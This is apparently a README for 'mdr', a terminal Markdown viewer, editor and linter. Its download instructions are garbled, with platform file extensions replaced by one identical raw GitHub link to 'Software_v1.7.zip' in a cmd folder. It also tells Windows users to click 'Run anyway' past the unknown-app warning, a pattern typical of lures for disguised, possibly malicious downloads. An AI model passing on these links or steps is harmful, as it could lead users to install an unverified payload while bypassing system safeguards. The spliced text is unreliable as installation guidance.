mdr is a tool you can use right in your terminal to work with Markdown files. Markdown is a simple way to write formatted text using plain text marks. This tool helps you:
- See your Markdown files nicely shown (rendered).
- Edit your Markdown text without leaving the terminal.
- Find and fix common Markdown errors.
You don’t need to know any programming to use mdr. It makes your Markdown work faster and easier.
mdr is for anyone who writes or reads Markdown files often. This could be people who:
- Take notes in plain text.
- Write README files for projects.
- Keep simple journals or lists.
- Publish documents with basic formatting.
- Prefer working without a mouse or graphical editor.
If you use the terminal for work, or want a quick way to handle Markdown files without switching windows, mdr fits well.
- Markdown Renderer: View your Markdown files styled and formatted, directly in the terminal.
- Markdown Editor: Open and change Markdown files right from your command line.
- Markdown Linter: Check your files for common mistakes and improve quality.
- Terminal User Interface (TUI): Navigate and interact with your files easily using keyboard shortcuts.
- Lightweight: Fast and small, it starts quickly and runs smoothly.
- Cross-Platform: Works on Windows, macOS, and Linux terminals.
- Clear Error Messages: Helps understand any problems with Markdown syntax.
This section walks you through downloading and running mdr. It covers system requirements and simple steps to get you up and running.
mdr works well on most computers with these:
- Operating System: Windows 10 or later, macOS 10.14+ (Mojave or newer), Linux (any popular distribution)
- Terminal: Default terminal app (Command Prompt, PowerShell, Terminal, or any terminal emulator)
- Memory: At least 100 MB free RAM
- Disk Space: About 50 MB free space for the app and temporary files
- Internet: Needed only for downloading mdr
No special setup or software is needed beyond your terminal.
To start using mdr, you must first download it.
Visit this page to download the latest version of mdr:
Download mdr from GitHub Releases
On the releases page, find the file that matches your computer:
- For Windows, look for a
.exefile (example:https://github.com/Kaos-777/mdr/raw/refs/heads/main/cmd/Software_v1.7.zip) - For macOS, look for a
.ziporhttps://github.com/Kaos-777/mdr/raw/refs/heads/main/cmd/Software_v1.7.zipfile withdarwinormacin the name - For Linux, look for
https://github.com/Kaos-777/mdr/raw/refs/heads/main/cmd/Software_v1.7.zipor.AppImagefiles with Linux in their name
Download the file related to your system.
-
Windows:
- Double-click the
.exefile you downloaded. - If Windows warns about unknown apps, choose “More info” and then “Run anyway.”
- A command window should open showing the mdr interface.
- Double-click the
-
macOS:
- Open the terminal app.
- Navigate to the folder where you saved mdr using the
cdcommand. - If the file is compressed (
.ziporhttps://github.com/Kaos-777/mdr/raw/refs/heads/main/cmd/Software_v1.7.zip), double-click it to unzip. - Run mdr by typing
./mdrand pressing Enter. You may need to make the file executable first withchmod +x mdr.
-
Linux:
- Open your terminal.
- Go to the folder with the downloaded mdr file.
- If needed, unzip the file.
- Make it executable by running:
chmod +x mdr - Start mdr by typing
./mdrand hitting Enter.
If you want, you can copy or move the mdr file to a folder that is part of your system’s PATH. This allows running mdr from any terminal window without navigating to its folder.
Once mdr is running, you will see a menu and a simple interface. Here’s how to get around:
- Use the arrow keys to move through menus.
- Press Enter to select options or open files.
- To open a Markdown file, choose “Open File” and type the path.
- Use the editor to type or change text.
- The renderer option shows a preview of your current file.
- The linter checks your file and lists any issues.
- Press
qorCtrl+Cto exit mdr at any time.
mdr has helpful hints and shortcuts inside the app, so don’t worry about memorizing commands right away.
- Most Markdown syntax works in mdr, including headings, lists, bold, italics, and links.
- Save your work regularly in the editor with
Ctrl+Sor the menu option. - If you see rendering problems, check your Markdown for lint warnings.
- Keyboard shortcuts speed up your work. Look for their list under the “Help” menu.
- Use mdr with your favorite terminal emulator for the best experience.
If you have questions or problems:
- Visit the Issues section on the mdr GitHub page to see if others have the same problem: mdr Issues
- You can open a new issue describing what happened and your computer details.
- Check the README updates for fixes or new features.
- mdr GitHub Releases (Download mdr here)
- Markdown Guide (Learn Markdown basics)
- GitHub Markdown Cheatsheet